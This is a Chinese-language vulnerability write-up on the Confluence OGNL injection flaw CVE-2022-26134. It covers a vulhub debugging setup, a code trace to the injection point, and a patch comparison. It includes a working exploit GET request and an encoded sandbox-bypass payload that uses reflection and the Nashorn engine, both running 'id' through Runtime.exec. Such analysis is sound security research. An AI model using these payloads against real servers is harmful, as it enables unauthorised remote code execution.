0x00 调试环境配置

这里在 p牛的 vulhub 的基础上进行简单修改从而来进行远程调试,查看 docker-compose.yml 发现只映射了 8090 端口,所以我们首先增加调试端口的映射

我这里添加的是 5005 端口

  1. version: '2'
  2. services:
  3. web:
  4. image: vulhub/confluence:7.13.6
  5. ports:
  6. - "8090:8090"
  7. - "5005:5005"
  8. depends_on:
  9. - db
  10. db:
  11. image: postgres:12.8-alpine
  12. environment:
  13. - POSTGRES_PASSWORD=postgres
  14. - POSTGRES_DB=confluence

通过 ps aux 和 ps -le 可以确定源码位置和父进程

源码位置为:/opt/atlassian/confluence

父进程为: /usr/bin/tini — /entrypoint.py

Confluence CVE-2022-26134 漏洞分析 - 图1

通过 docker cp 将源码都复制出来,然后通过 IDEA 引入并增加相关依赖

Confluence CVE-2022-26134 漏洞分析 - 图2

查看父进程发现涉及到了 entrypoint.py 文件并进行查看,发现启动是通过运行 start-confluence.sh 文件

Confluence CVE-2022-26134 漏洞分析 - 图3

在查看 start-confluence.sh 文件发现会调用 catalina.sh ,其实就是启动 tomcat

Confluence CVE-2022-26134 漏洞分析 - 图4

同时在 tomcat 中会通过 setenv.sh 来统一管理环境变量,所以我这边通过修改 setenv.sh 来开启远程调试

Confluence CVE-2022-26134 漏洞分析 - 图5

然后运行根目录下的 shutdown-wait.sh 文件将 confluence 关掉,然后重启一下即可

Ps: 由于当前环境没有安装 vi/vim 所以添加一下 apt 源 然后更新一下

  1. sed -i s/archive.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list && sed -i s/security.ubuntu.com/mirrors.aliyun.com/g /etc/apt/sources.list && rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/partial/* && apt-get clean && apt-get update && apt-get update -o Acquire::No-Cache=True
  2. apt update && apt install -y vim

0x01 漏洞复现

如果是通过 python 来进行编写的话,那么需要禁止302跳转

直接采用 vulhub 中的 payload 可以快速复现

Confluence CVE-2022-26134 漏洞分析 - 图6

  1. GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
  2. Host: your-ip:8090
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close

0x02 漏洞分析

将源码载入到 IDEA 之后,首先查看 web.xml 中找到 ConfluenceServletDispatcher

Confluence CVE-2022-26134 漏洞分析 - 图7

跟进 ConfluenceServletDispatcher 类,发现类中并没有 service 方法,所以查看父类,发现 service 存在父类中

Confluence CVE-2022-26134 漏洞分析 - 图8

测试一下发现断点确实可以正常打到

Confluence CVE-2022-26134 漏洞分析 - 图9

接下来正式开始漏洞调试,首先观察 vulhub 中的 payload ,可以看到 payload 是以 get 的形式发送的,所以就从 ConfluenceServletDispatcher#service 这里往下看

在 this.serviceAction 中通过 this.getNameSpace 和 this.getActionName 来处理请求中的路由和端点

Confluence CVE-2022-26134 漏洞分析 - 图10

this.getNameSpace 会将 servletPath 获取从0到最后一个 / 的路径

Confluence CVE-2022-26134 漏洞分析 - 图11

也就是获取我们 payload 的部分

  1. ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

this.getActionName 会获取我们的端点部分,从 / 开始到最后一个 . 之间的值,也就是获取到 index

Confluence CVE-2022-26134 漏洞分析 - 图12

这里我们输入的是

  1. /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/index.action

最终获取到的 action 也就是 index

然后在 serviceAction 中首先会根据传入的 namespace 、action 、requestMap 等参数创建一个代理对象

Confluence CVE-2022-26134 漏洞分析 - 图13

可以看到在创建代理对象的过程中我们的payaload存放于 namespace 变量

Confluence CVE-2022-26134 漏洞分析 - 图14

然后调用代理对象的 execute 函数,在 execute 函数中主要是调用了 this.invocation.invoke(); 也就是拦截器的 invoke 方法,并返回一个 code

Confluence CVE-2022-26134 漏洞分析 - 图15

跟进查看 invoke 方法,发现在 invoke 方法中会迭代 interceptors

Confluence CVE-2022-26134 漏洞分析 - 图16

this.interceptors 是一个存放拦截器的列表,然后通过遍历 this.interceptors 来调用拦截器中的 intercept 方法

Confluence CVE-2022-26134 漏洞分析 - 图17

然后如果 this.proxy.getExecuteResult() == true 就会执行 this.executeResult()

Confluence CVE-2022-26134 漏洞分析 - 图18

首先需要知道 this.proxy.getExecuteResult() 是从哪设置的,查看堆栈可以发现在最开始创建代理对象的时候默认设置的为 true

Confluence CVE-2022-26134 漏洞分析 - 图19

在 executeResult 里面可以看到首先通过调用 this.createResult() 获取了 result

Confluence CVE-2022-26134 漏洞分析 - 图20

跟进 this.createResult 函数,在函数中根据之前的 resultCode 从表中获取对应的结果

Confluence CVE-2022-26134 漏洞分析 - 图21

接着就会将 自身 作为参数传入到 execute 函数

Confluence CVE-2022-26134 漏洞分析 - 图22

在 execute 中会通过 TextParseUtil.translateVariables 函数来将 namespace 进行变量转化

Confluence CVE-2022-26134 漏洞分析 - 图23

在该函数中,造成了 OGNL 表达式的触发,并且传入的 namespace 可控 造成 RCE

Confluence CVE-2022-26134 漏洞分析 - 图24

所以实际在看源码的时候主要是 OGNL 表达式相关的解析库,并且其中的参数可控那么就可以合理怀疑这里存在 OGNL 表达式注入

0x03 补丁对比

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

由于经过漏洞分析可以知道最终问题出现在 ActionChainResult#execute 处,通过 IDEA 的比较功能发现在更新过程中将 TextParseUtil.translateVariables 方法给去掉了

Confluence CVE-2022-26134 漏洞分析 - 图25

0x04 沙盒绕过

在 confluence > 7.15 的时候,增加了沙箱,分别做了一些黑名单和白名单处理,但是可以通过反射 + js 引擎绕过

下面是p牛的payload

  1. ${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}

0x05 参考链接

https://www.anquanke.com/post/id/274026

https://y4er.com/post/cve-2022-26134-confluence-server-data-center-ognl-rce/